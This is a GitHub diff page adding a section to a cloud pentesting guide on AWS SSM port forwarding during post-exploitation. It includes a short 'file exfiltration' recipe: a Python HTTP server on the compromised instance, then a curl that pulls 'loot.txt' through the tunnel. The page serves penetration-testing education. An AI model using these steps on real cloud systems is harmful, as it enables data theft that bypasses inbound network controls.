You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+52Lines changed: 52 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -138,6 +138,54 @@ Note that the SSL connections will fail unless you set the `--insecure-skip-tls-
138
138
139
139
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
140
140
141
+
---
142
+
143
+
#### Quick Local ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
144
+
145
+
If you only need to forward **one TCP port from the EC2 instance to your local host** you can use the `AWS-StartPortForwardingSession` SSM document (no remote host parameter required):
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
155
+
156
+
Common use cases:
157
+
158
+
***File exfiltration**
159
+
1. On the instance start a quick HTTP server that points to the directory you want to exfiltrate:
160
+
161
+
```bash
162
+
python3 -m http.server 8000
163
+
```
164
+
165
+
2. From your workstation fetch the files through the SSM tunnel:
166
+
167
+
```bash
168
+
curl http://localhost:8000/loot.txt -o loot.txt
169
+
```
170
+
171
+
***Accessing internal web applications (e.g. Nessus)**
0 commit comments